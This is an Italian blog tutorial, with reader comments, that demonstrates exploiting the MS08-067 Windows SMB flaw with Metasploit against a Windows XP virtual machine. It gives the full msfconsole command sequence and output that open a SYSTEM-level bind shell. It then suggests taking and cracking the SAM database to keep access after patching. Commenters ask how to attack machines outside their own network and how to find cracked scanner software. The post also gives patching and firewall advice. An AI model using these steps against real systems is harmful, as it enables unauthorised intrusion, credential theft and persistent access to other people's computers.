Hackerare Windows con Metasploit

Qualche settimana fa ci siamo imbattuti in un grave bug di Windows che Microsoft ha provveduto a risolvere rilasciando una patch straordinaria.
In questo tutorial dimostro come sia possibile attaccare un sistema Windows vulnerabile a questo bug.

Perchè l’attacco abbia successo si devono presentare le seguenti condizioni:

  • Il computer non deve essere patchato contro la vulnerabilità MS08-067
  • Il computer deve permettere connessioni in entrata sulla porta 445

Se queste due condizioni non sono presenti il sistema si può considerare sicuro. Per essere sicuri di essere invulnerabili a questo attacco installare la patch MS08-067; in alternativa inibire l’accesso alla porta 445 tramite firewall.

L’attacco viene portato utilizzando il Metasploit Framework, versione 3.3-dev. Come piattaforma ho utilizzato Back|Track3, una distribuzione Linux appositamente studiata per i penetration test.

Aggiornare Metasploit

Nella versione BT3 appena masterizzata l’exploit che voglio usare non c’è, quindi bisogna aggiornare Metasploit Framework tramite subversion, con il comando:

svn update

da eseguire nella directory dove si trova il Framework 3 di Metasploit.

Preparazione dell’attacco

Con il comando ifconfig mi sincero del mio indirizzo ip:

bt framework3 # ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0C:29:AC:13:6D
inet addr:192.168.132.129  Bcast:192.168.132.255  Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:5909 errors:0 dropped:0 overruns:0 frame:0
TX packets:5390 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:8686599 (8.2 MiB)  TX bytes:322667 (315.1 KiB)
Interrupt:18 Base address:0x1080

Come si vede il mio indirizzo è 192.168.132.129. La macchina target, quella che andrò ad attaccare è un Windows XP Pro vulnerabile a questo attacco e con la porta 445 accessibile. Il suo indirizzo è 192.168.132.128. Entrambe le macchine sono virtuali, emulate su VMWare.

Metasploit Framework dispone di diverse interfacce: quella che prediligo è msfconsole, ed è quella che utilizzerò in questo tutorial. Per accedere a msfconsole basta digitare il comando sulla linea di comando per entrare nel prompt msf:

bt framework3 # msfconsole
 
=[ msf v3.3-dev
+ -- --=[ 294 exploits - 124 payloads
+ -- --=[ 17 encoders - 6 nops
=[ 58 aux

Per visualizzare la lista degli exploit disponibili uso il comando show exploits; di seguito mostro uno stralcio, dove viene visualizzato quello che mi interessa:
msf > show exploits

ce2ae7a7b33f3094f3836d735faa54f5002

Ho trovato l’exploit: decido di impiegarlo:

msf > use windows/smb/ms08_067_netapi

visualizzo la lista delle opzioni:

msf exploit(ms08_067_netapi) > show options
 
Module options:
 
Name     Current Setting  Required  Description
----     ---------------  --------  -----------
RHOST                     yes       The target address
RPORT    445              yes       Set the SMB service port
SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
 
Exploit target:
 
Id  Name
--  ----
0   Automatic Targeting

Ci sono tre parametri obbligatori: RHOST (l’indirizzo del target), la porta Tcp (445) e il servizio da sfruttare come vettore (BROWSER); lascio gli ultimi due di default e inserisco l’Ip del computer che voglio attaccare:

msf exploit(ms08_067_netapi) > set RHOST 192.168.132.128
RHOST => 192.168.132.128

Il target non va specificato, in quanto viene selezionato automaticamente (Automatic Targeting)

Ora devo decidere cosa fare se l’exploit va a buon fine. Metasploit mette a disposizione diversi payloads, ovvero diverse opzioni dalla semplice shell su porta Tcp, alla connessione inversa, al server VNC. In questo caso scelgo la shell su port Tcp, scelta classica:

msf exploit(ms08_067_netapi) > show payloads
 
Compatible payloads
===================
 
Name                                            Description
----                                            -----------
generic/debug_trap                              Generic x86 Debug Trap
generic/debug_trap/bind_ipv6_tcp                Generic x86 Debug Trap, Bind TCP Stager (IPv6)
 
...
 
windows/shell/bind_tcp                          Windows Command Shell, Bind TCP Stager
windows/shell/reverse_ipv6_tcp                  Windows Command Shell, Reverse TCP Stager (IPv6)
 
...
 
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp

Ecco fatto: l’exploit è configurato. Ho scelto l’exploit ms08_067 che colpisce Windows senza l’aggiornamento relativo; ho settato l’indirizzo del target da attaccare ovvero RHOST 192.168.132.128; infine ho scelto il payload bind_tcp: se l’exploit andrà a buon fine potrò collegarmi (lo farà automaticamente) con una shell Windows su una porta Tcp  della macchina remota. Decido di non cambiare la porta Tcp e lasciare il valore di default: 4444.

A questo punto non resta che lanciare l’attacco, con il comando exploit:

msf exploit(ms08_067_netapi) > exploit
 
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 0 / 1 - lang:Italian
[*] Selected Target: Windows XP SP0/SP1 Universal
[*] Triggering the vulnerability...
[*] Sending stage (474 bytes)
[*] Command shell session 1 opened (192.168.132.129:55761 -> 192.168.132.128:4444)
 
Microsoft Windows XP [Versione 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
 
C:\WINDOWS\system32>ipconfig
ipconfig
 
Configurazione IP di Windows
 
Scheda Ethernet Connessione alla rete locale (LAN):
 
Suffisso DNS specifico per connessione: localdomain
Indirizzo IP. . . . . . . . . . . . . : 192.168.132.128
Subnet mask . . . . . . . . . . . . . : 255.255.255.0
Gateway predefinito . . . . . . . . . : 192.168.132.2

Come si vede l’attacco è andato a segno. Tramite la vulnerabilità Metasploit ha inviato un payload con una shellcode in grado di aprire la porta Tcp 4444 sulla macchina Windows e mi ha permesso di collegarmi ad una shell dei comandi.
Quindi mi sono torvato un prompt dei comandi Windows sotto le mani! Ho eseguito ipconfig per mostrare l’Ip, che effettiavamente è quello della macchina che volevo attaccare.

A questo punto ho l’accesso completo con privilegi SYSTEM. Posso fare qualsiasi cosa.
Ho avuto l’accesso completo senza dover conoscere nessuna password. Ora posso prelevare il SAM database e craccarlo comodamente per poter rientrare in seguito con l’account di amministratore, senza dover rifare l’attacco: se il bug verrà patchato avrò comunque l’accesso garantito.

19 comments to “Hackerare Windows con Metasploit”
  1. MMhh dov’è che abiti? No, perchè bisogna stare attenti ad averti vicino 😛
    A parte gli scherzi, ti segnalo un problema nella visualizzazione del tuo sito, in particolare su questa pagina: quando scrivi delle righe troppo lunghe, una parte va a finire sulla colonna grigia di destra, dove hai le categorie, articoli recenti, ecc…

  2. Pingback: Comandare Windows da Remoto con PsExec | PillolHacking.Net

  3. Sono a Roma, però in pochi millisecondi arrivo ovunque 😀
    Ho notato il problema delle righe lunghe. Sono i copia/incolla dalla shell, devo trovare una soluzione.
    Grazie per la segnalazione.

  4. Scusate la mia ignoranza ma non ho ancora ben capito, gli attacchi sferrati con metasploit hanno effetto solo se vengono effettuati su pc che si trovano sulla stessa rete lan dell’attaccante oppure no..
    grazie per le risposte

  5. Grazie Angelo per la risposta. E invece Nmap? cioè dato un indirizzo ip non nella mia lan come faccio a sapere quali porte ha aperte e quindi a quali tipi di attacchi è vulnerabile?

  6. Ciao volevo chiedere un informazione , se io ho un’indirizzo ip locale che metto come set LHOST di questo tipo 192.168.1.222 ovviamente l’exploit funziona solo in una rete lan o mi sbaglio ? Ho provato con pc fuori dalla lan e non funziona… Come potrei fare?

  7. ciao, prendo spunto dal quesito di Luca per chiedere: e’ possibile exploitare un pc al di fuori della mia rete, per il quale conosco soltanto il MAC della scheda Wifi? Ovviamente l’attacco dovrebbe viaggiare soltanto tramite interfaccia wireless.

  8. Ciao io sono un piccolo dilettante hacker!
    complimenti per il sito”veramente molto utile” e sopratutto complimenti a te.
    hai detto che con metasploit 3.3 si può attaccare un pc anche non connesso ad una rete lan!
    io ho provato con un mio amico e siamo e 500 km di distanza ma non fa!
    a me funziona solo con i pc connessi in lan!
    volevo sapere un altra cosa!
    io vorrei nessus 3!ma quando lo scarico mi dice chiede il codice di attivazione e non so dove trovarlo!!=(
    per caso sai dove trovare un c***k o qualche programma che mi trovi bug nei systemi?

Comments are closed.